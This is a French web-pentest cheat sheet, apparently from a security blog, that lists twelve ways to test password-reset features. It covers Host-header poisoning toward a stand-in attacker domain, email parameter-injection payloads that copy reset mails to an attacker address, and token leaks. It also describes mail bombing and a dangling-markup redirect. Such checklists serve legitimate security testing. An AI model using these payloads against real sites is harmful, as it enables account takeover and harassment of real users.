# Mot de passe oublié

### Mot de passe oublié

#### Méthode 1:

Password reset poisoning:

* Aller dans la page mot de passe oublié
* intercepter la requête avec l'email de la victime
* changer le header "host: target.com" en "host: attaquant.com"
* changer les headers "referrer: <https://attaquant.com>", "origin: <https://attaquant.com>", "X-Forwarded-For: attaquant.com" et "X-Forwarded-Host: attaquant.com" également
* Si aucun ne fonctionne, Essayer d'utiliser une deuxième en-tête " Host: attaquant.com" (avec un espace devant)
* Forwarder la requête
* Si ça fonctionne alors on sera capable de recevoir les informations sur le contrôleur de domaine de attaquant.com

#### Méthode 2:

* Ouvrir un navigateur avec burp suite
* faire une demande de mot de passe oublié sans intercepter
* ouvrir l'email dans un autre navigateur et copier le token
* chercher le même token dans l'historique de navigation de burp suite
* Si il est présent alors il y a un risque d'account takeover

#### Méthode 3:

* Aller dans mot de passe oublié
* envoyer le lien
* suivre le lien dans les emails
* finalement, ne pas valider et cliquer sur un lien de redirection (exp: icone facebook)
* intercepter la requête
* Si le lien est présent dans le header alors il y a une fuite de données

#### Méthode 4:

* Essayer d'utiliser plusieurs fois le même lien de mot de passe oublié
* Si il n'est pas désactivé entre temps alors il est réutilisable par un attaquant

#### Méthode 5:

* Demander deux fois un lien de mot de passe oublié
* Si en utilisant le premier lien reçu on peut changer le mot de passe alors il y a une vulnérabilité

#### Méthode 6:

* ouvrir burp
* intercepter la demande de changement de mot de passe
* ajouter .json au bout de l'url et regarder le résultat
* Possibilité de fuite du token...

#### Méthode 7:

Rate limit:

* intercepter la requête de mot de passe oublié dans burp
* envoyer vers intruder
* Utiliser "Null payload"
* envoyer la requête 100 fois
* Vérifier dans les mails si le mail a été envoyés 100 fois
* Si oui on peut effectuer du mail bombing sur n'importe qui

#### Méthode 8:

Email Header Injection:

```bash
email= victim@mail.com&email=attacker@mail.com
email= victim@mail.com%20email=attacker@mail.com
email= victim@mail.com |email=attacker@mail.com
email= victim@mail.com%0d%0acc:attacker@mail.com
email= victim@mail.com&code= mon token de réinitialisation
email[]= victim@mail.com&email[]=attacker@mail.com
email=victim@mail.com,attacker@mail.com
{"email": "victim@mail.com", "email":"attacker@mail.com"}
{"email": "victim@mail.com/nattacker@mail.com"}
{"email": ["victim@mail.com","attacker@mail.com"]}
```

Si l'un de ces payloads fonctionne, l'email sera envoyé à la victime mais aussi à l'attaquant.

{% content-ref url="injections/injections-dans-emails" %}
[injections-dans-emails](https://blog.s1rn3tz.ovh/pentest-web/injections/injections-dans-emails)
{% endcontent-ref %}

#### Méthode 9:

Leaks dans la reponse http:

* intercepter la demande de mot de passe oublié dans burp
* Foward la requête
* Regarder si le token, lien ou autre est leak dans la réponse

#### Méthode 10:

* Changez le mot de passe avec votre compte
* Envoyez la requête dans "Repeater"
* Laissez le paramètre contenant le token vide et changer votre nom d'utilisateur par celui de votre victime puis envoyez la requête.
* Si la vérification du token n'est pas effectué par le serveur le mot de passe de la victime sera changé et il y aura donc account takeover.

#### Méthode 11: Dangling markup

* Changez le mot de passe de votre compte
* Envoyer la requête dans "Repeater"
* à la suite du header "host: target.com" ajouter à la place d'un port un script redirigeant vers votre serveur ("host: target.com:\<a href="attaquant.com">)
* Envoyer la requête
* Si cela fonctionne, vous recevrais alors le lien dans les information du contrôleur de domaine attaquant.

#### Méthode 12: Param fuzzing

* Fuzz les paramètres directement depuis burp ou via un outil comme [Arjun](https://blog.s1rn3tz.ovh/osint-recon/scan-de-ports-web#arjun).
* Si il y a un paramètre tel que url, href ou autre essayer d'y placer un lien vers un serveur attaquant.
* Le lien généré dans l'email de réinitialisation pourrait alors rediriger vers le serveur attaquant.
